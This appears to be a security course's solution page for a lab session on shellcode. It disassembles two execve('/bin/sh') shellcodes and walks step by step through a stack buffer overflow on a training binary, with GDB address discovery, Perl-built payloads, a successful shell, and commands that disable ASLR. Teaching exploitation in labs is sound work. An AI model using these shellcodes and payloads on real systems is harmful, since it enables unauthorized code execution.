User Tools
Sidebar
session:solution:09
This is an old revision of the document!
Table of Contents
Session 09 Solutions
Create and disassemble binary shellcodes
We extract the two shellcode byte strings from the given links (1, 2):
$ cat 216.print \x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff $ cat 827.print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
and then we use echo to generate two binary shellcode files:
$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin $ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin
Afterwards, we disassemble the binary shellcode files:
$ objdump -D -b binary -m i386 -M intel 827.bin 827.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: 31 c0 xor eax,eax 2: 50 push eax 3: 68 2f 2f 73 68 push 0x68732f2f 8: 68 2f 62 69 6e push 0x6e69622f d: 89 e3 mov ebx,esp f: 50 push eax 10: 53 push ebx 11: 89 e1 mov ecx,esp 13: b0 0b mov al,0xb 15: cd 80 int 0x80 $ objdump -D -b binary -m i386 -M intel 216.bin 216.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: 6a 46 push 0x46 2: 58 pop eax 3: 31 db xor ebx,ebx 5: 31 c9 xor ecx,ecx 7: cd 80 int 0x80 9: eb 21 jmp 0x2c b: 5f pop edi c: 6a 0b push 0xb e: 58 pop eax f: 99 cdq 10: 52 push edx 11: 66 68 2d 63 pushw 0x632d 15: 89 e6 mov esi,esp 17: 52 push edx 18: 68 2f 2f 73 68 push 0x68732f2f 1d: 68 2f 62 69 6e push 0x6e69622f 22: 89 e3 mov ebx,esp 24: 52 push edx 25: 57 push edi 26: 56 push esi 27: 53 push ebx 28: 89 e1 mov ecx,esp 2a: cd 80 int 0x80 2c: e8 da ff ff ff call 0xb
and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files.
Call Trampoline
TODO
Exploit with Known Buffer Address
TODO
Brute-Forcing the Buffer Address
TODO
NOP Sled
TODO
Task: Buffer is too small: Use environment variable to store the shellcode
The log file created with script is this. You may use
cat over the script file to print it.
We first compile out the source code files:
$ make cc -m32 -Wall -fno-stack-protector -g -c -o vuln.o vuln.c cc -m32 -zexecstack vuln.o -o vuln
We want to generate the payload for the shellcode. In order to find it easily in memory, we add 32 A characters at the beginning of the payload. We name the file shellcode_payload
$ perl -e 'print "A"x32,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > shellcode_payload $ xxd shellcode_payload 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P 00000030: 5389 e131 d2b0 0bcd 80 S..1.....
This payload will be the contents of the environment variable where we are going to jump. Let's run the program under GDB with this environment variable defined:
$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start
[...]
gdb-peda$ find "AAAAAAAAA" $esp $esp+1000
Searching for 'AAAAAAAAA' in range: 0xbffff240 - 0xbffff628
Found 3 results, display max 3 items:
[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
gdb-peda$ show env
SHELLCODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�Ph//shh/bin��PS��1Ұ
XDG_VTNR=7
ORBIT_SOCKETDIR=/tmp/orbit-razvan
We've found the contents of the variable at address 0xbffff5b7 through the use of the find GDB command. We've double checked the variable using the show env command. In PEDA it's even easier to find a string by using the searchmem command without any range:
gdb-peda$ searchmem AAAAAAAAA
Searching for 'AAAAAAAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
Moreover, we could have directly looked for environment variables using the environ pointer:
gdb-peda$ x/10s * ((char **) environ) 0xbffff505: "XDG_VTNR=7" 0xbffff510: "ORBIT_SOCKETDIR=/tmp/orbit-razvan" 0xbffff532: "SSH_AGENT_PID=3948" 0xbffff545: "XDG_SESSION_ID=1" 0xbffff556: "TERMINATOR_UUID=urn:uuid:40160cae-8752-4a46-adb6-cfa4c53a5bba" 0xbffff594: "XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/razvan" 0xbffff5c6: "SHELLCODE=", 'A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀" 0xbffff60a: "TERM=xterm" 0xbffff615: "SHELL=/bin/bash" 0xbffff625: "PT5HOME=/usr/local/PacketTracer5"
The address above is different because we've used a different program run and the values changed.
By removing the padding we find out the address of the shellcode in memory
$ python -c 'print hex(0xbffff5b7+32)' 0xbffff5d7
This (0xbffff5d7) is the address where we have to jump to trigger the execution of the shellcode.
In the same GDB session let's also find out the difference between the start address of the buffer local variable and the address where the function return address is stored:
gdb-peda$ disassemble do_nothing_successfully Dump of assembler code for function do_nothing_successfully: 0x0804847b <+0>: push ebp 0x0804847c <+1>: mov ebp,esp 0x0804847e <+3>: sub esp,0x18 0x08048481 <+6>: sub esp,0x8 0x08048484 <+9>: push DWORD PTR [ebp+0x8] 0x08048487 <+12>: lea eax,[ebp-0x10] 0x0804848a <+15>: push eax 0x0804848b <+16>: call 0x8048350 <strcpy@plt> 0x08048490 <+21>: add esp,0x10 0x08048493 <+24>: movzx eax,BYTE PTR [ebp-0x10] 0x08048497 <+28>: mov edx,eax 0x08048499 <+30>: sar dl,0x7 0x0804849c <+33>: shr dl,0x5 0x0804849f <+36>: add eax,edx 0x080484a1 <+38>: and eax,0x7 0x080484a4 <+41>: sub eax,edx 0x080484a6 <+43>: cmp al,0x3 0x080484a8 <+45>: jne 0x80484ae <do_nothing_successfully+51> 0x080484aa <+47>: mov BYTE PTR [ebp-0x10],0x61 0x080484ae <+51>: leave 0x080484af <+52>: ret End of assembler dump. gdb-peda$ b *0x08048497 Breakpoint 2 at 0x8048497: file vuln.c, line 12. gdb-peda$ c [...] Breakpoint 2, 0x08048497 in do_nothing_successfully (str=0xbffff244 "aaaa\n") at vuln.c:12 12 if (buffer[0] % 8 == 3) gdb-peda$ p &buffer $3 = (char (*)[8]) 0xbffff218 gdb-peda$ p $ebp+4 $4 = (void *) 0xbffff22c gdb-peda$
We've used a breakpoint right after the call of strcpy() and we've found out the address of the buffer local variable (0xbffff218) and of the function return address (0xbffff22c). We compute the difference:
$ python -c 'print 0xbffff22c-0xbffff218' 20
So we'll have to create a payload to trigger the attack that consists of 20 bytes of padding (we'll use 20 bytes of A) followed by the address we want to jump to, the address of the shellcode as content of the environment variable (0xbffff5d7).
Let's now create the trigger payload in the file overflow_padding:
$ perl -e 'print "A"x20,"\xd7\xf5\xff\xbf","\n"' > overflow_payload $ xxd overflow_payload 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 d7f5 ffbf 0a AAAA.....
This can now be fed as input to our program and we should end up with a shell in GDB. Let's try it:
$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln Reading symbols from ./vuln...done. gdb-peda$ start < overflow_payload [...] gdb-peda$ x/20i 0xbffff5d7 0xbffff5d7: xor eax,eax 0xbffff5d9: push eax 0xbffff5da: push 0x68732f2f 0xbffff5df: push 0x6e69622f 0xbffff5e4: mov ebx,esp 0xbffff5e6: push eax 0xbffff5e7: push ebx 0xbffff5e8: mov ecx,esp 0xbffff5ea: xor edx,edx 0xbffff5ec: mov al,0xb 0xbffff5ee: int 0x80 0xbffff5f0: add BYTE PTR [ebx+0x48],dl 0xbffff5f3: inc ebp 0xbffff5f4: dec esp 0xbffff5f5: dec esp 0xbffff5f6: cmp eax,0x6e69622f 0xbffff5fb: das 0xbffff5fc: bound esp,QWORD PTR [ecx+0x73] 0xbffff5ff: push 0x52455400 0xbffff604: dec ebp gdb-peda$ c Continuing. process 30574 is executing new program: /bin/dash [Inferior 1 (process 30574) exited normally] Warning: not running or target is remote gdb-peda$
Yes! It works! You can see that we've double checked the placement of the shellcode by disassembling that specific area using x/20i 0xbffff5d7.
Of course, this address only works in GDB, we'll have to make it work in the “real world” as well. First we check whether ASLR is disabled
$ ldd ./vuln linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000) $ ldd ./vuln linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000)
As library files are placed in the same location, we conclude ASLR is disabled.
If ASLR was enabled, we could have disabled it using either of the two commands below:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space $ linux32 -3 -R bash -l
session/solution/09.1436979180.txt.gz · Last modified: 2015/07/15 19:53 by Razvan Deaconescu
Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Share Alike 4.0 International
